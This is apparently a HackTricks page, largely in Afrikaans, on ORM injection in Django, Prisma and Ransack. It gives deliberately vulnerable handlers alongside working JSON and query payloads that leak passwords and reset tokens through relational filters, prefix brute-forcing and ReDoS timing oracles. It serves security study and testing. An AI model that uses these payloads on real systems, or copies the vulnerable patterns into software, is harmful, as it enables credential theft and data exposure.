12 KiB
ORM Injection
{% hint style="success" %}
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Django ORM (Python)
In hierdie pos word verduidelik hoe dit moontlik is om 'n Django ORM kwesbaar te maak deur byvoorbeeld 'n kode soos:
class ArticleView(APIView):
"""
'n Basiese API-uitsig waaraan gebruikers versoeke stuur om
artikels te soek
"""
def post(self, request: Request, format=None):
try:
articles = Article.objects.filter(**request.data)
serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
Let op hoe al die request.data (wat 'n json sal wees) direk aan filter objek van die databasis oorgedra word. 'n Aanvaller kan onverwagte filters stuur om meer data as verwag daaruit te lek.
Voorbeelde:
- Teken in: In 'n eenvoudige teken in, probeer om die wagwoorde van die gebruikers wat daarin geregistreer is, te lek.
{
"username": "admin",
"password_startswith":"a"
}
{% hint style="danger" %} Dit is moontlik om die wagwoord te brute-force totdat dit gelek word. {% endhint %}
- Relasionele filtrering: Dit is moontlik om verhoudings te traverseer om inligting uit kolomme te lek wat selfs nie verwag is om in die operasie gebruik te word nie. Byvoorbeeld, as dit moontlik is om artikels wat deur 'n gebruiker geskep is te lek met hierdie verhoudings: Article(
created_by
) -[1..1]-> Author (user
) -[1..1]-> User(password
).
{
"created_by__user__password__contains":"pass"
}
{% hint style="danger" %} Dit is moontlik om die wagwoord van al die gebruikers wat 'n artikel geskep het, te vind {% endhint %}
- Baie-tot-baie verwantskap filtrering: In die vorige voorbeeld kon ons nie wagwoorde van gebruikers vind wat nie 'n artikel geskep het nie. Tog, deur ander verwantskappe te volg, is dit moontlik. Byvoorbeeld: Article(
created_by
) -[1..1]-> Author(departments
) -[0..*]-> Department(employees
) -[0..*]-> Author(user
) -[1..1]-> User(password
).
{
"created_by__departments__employees__user_startswith":"admi"
}
{% hint style="danger" %} In hierdie geval kan ons al die gebruikers in die departemente van gebruikers vind wat artikels geskep het en dan hul wagwoorde lek (in die vorige json lek ons net die gebruikersname, maar dit is dan moontlik om die wagwoorde te lek). {% endhint %}
- Misbruik van Django Groep en Toestemming baie-tot-baie verhoudings met gebruikers: Boonop word die AbstractUser-model gebruik om gebruikers in Django te genereer en standaard het hierdie model 'n paar baie-tot-baie verhoudings met die Toestemming en Groep tabelle. Wat basies 'n standaard manier is om ander gebruikers van een gebruiker te bekom as hulle in die dieselfde groep is of dieselfde toestemming deel.
# By users in the same group
created_by__user__groups__user__password
# By users with the same permission
created_by__user__user_permissions__user__password
- Om filterbeperkings te omseil: Dieselfde blogpos het voorgestel om die gebruik van sommige filtrering soos
articles = Article.objects.filter(is_secret=False, **request.data)
te omseil. Dit is moontlik om artikels wat is_secret=True het, te dump omdat ons van 'n verhouding terug na die Artikel tabel kan loop en geheime artikels van nie-geheime artikels kan lek omdat die resultate saamgevoeg word en die is_secret veld in die nie-geheime artikel nagegaan word terwyl die data van die geheime artikel gelek word.
Article.objects.filter(is_secret=False, categories__articles__id=2)
{% hint style="danger" %} Deur verhoudings te misbruik, is dit moontlik om selfs filters wat bedoel is om die data wat vertoon word te beskerm, te omseil. {% endhint %}
- Fout/Tyd gebaseer via ReDoS: In die vorige voorbeelde was dit verwag om verskillende antwoorde te hê as die filtrering gewerk het of nie om dit as orakel te gebruik. Maar dit kan moontlik wees dat 'n aksie in die databasis gedoen word en die antwoord altyd dieselfde is. In hierdie scenario kan dit moontlik wees om die databasisfout te maak om 'n nuwe orakel te kry.
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}
// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
From te same post regarding this vector:
- SQLite: Het nie 'n regexp-operateur standaard nie (vereis die laai van 'n derdeparty-uitbreiding)
- PostgreSQL: Het nie 'n standaard regex-tydslimiet nie en is minder geneig tot terugspoeling
- MariaDB: Het nie 'n regex-tydslimiet nie
Prisma ORM (NodeJS)
The following are tricks extracted from this post.
- Full find control:
const app = express();
app.use(express.json());
app.post('/articles/verybad', async (req, res) => {
try {
// Attacker has full control of all prisma options
const posts = await prisma.article.findMany(req.body.filter)
res.json(posts);
} catch (error) {
res.json([]);
}
});
It's possible to see that the whole javascript body is passed to prisma to perform queries.
In the example from the original post, this would check all the posts createdBy someone (each post is created by someone) returning also the user info of that someone (username, password...)
{
"filter": {
"include": {
"createdBy": true
}
}
}
// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]
Die volgende een selekteer al die plasings wat deur iemand met 'n wagwoord geskep is en sal die wagwoord teruggee:
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}
// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
- Volledige waar-klousule beheer:
Kom ons kyk na hierdie waar die aanval die where
klousule kan beheer:
app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
where: req.query.filter as any // Kw vulnerable to ORM Leaks
})
res.json(posts);
} catch (error) {
res.json([]);
}
});
Dit is moontlik om die wagwoord van gebruikers direk te filter soos:
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas"
}
}
}
})
{% hint style="danger" %}
Deur operasies soos startsWith
is dit moontlik om inligting te lek.
{% endhint %}
- Baie-tot-baie relationele filtrering om filtering te omseil:
app.post('/articles', async (req, res) => {
try {
const query = req.body.query;
query.published = true;
const posts = await prisma.article.findMany({ where: query })
res.json(posts);
} catch (error) {
res.json([]);
}
});
Dit is moontlik om nie gepubliseerde artikels te lek deur terug te draai na die baie-tot-baie verhoudings tussen Category
-[*..*]-> Article
:
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
Dit is ook moontlik om al die gebruikers te lek deur sommige lus terug baie-tot-baie verhoudings te misbruik:
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
- Fout/Tydsnavrae: In die oorspronklike pos kan jy 'n baie uitgebreide stel toetse lees wat uitgevoer is om die optimale payload te vind om inligting met 'n tydgebaseerde payload te lek. Dit is:
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}
Waar die {CONTAINS_LIST}
'n lys is met 1000 stringe om te verseker dat die antwoord vertraag word wanneer die korrekte leak gevind word.
Ransack (Ruby)
Hierdie truuks is gevind in hierdie pos.
{% hint style="success" %} Let daarop dat Ransack 4.0.0.0 nou die gebruik van 'n eksplisiete toelaat lys vir soekbare eienskappe en assosiasies afdwing. {% endhint %}
Kwetsbare voorbeeld:
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
Let op hoe die navraag gedefinieer sal word deur die parameters wat deur die aanvaller gestuur word. Dit was moontlik om byvoorbeeld die reset-token met:
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...
Deur brute-forcing en moontlik verhoudings was dit moontlik om meer data uit 'n databasis te lek.
References
- https://www.elttam.com/blog/plormbing-your-django-orm/
- https://www.elttam.com/blog/plorming-your-primsa-orm/
- https://positive.security/blog/ransack-data-exfiltration
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.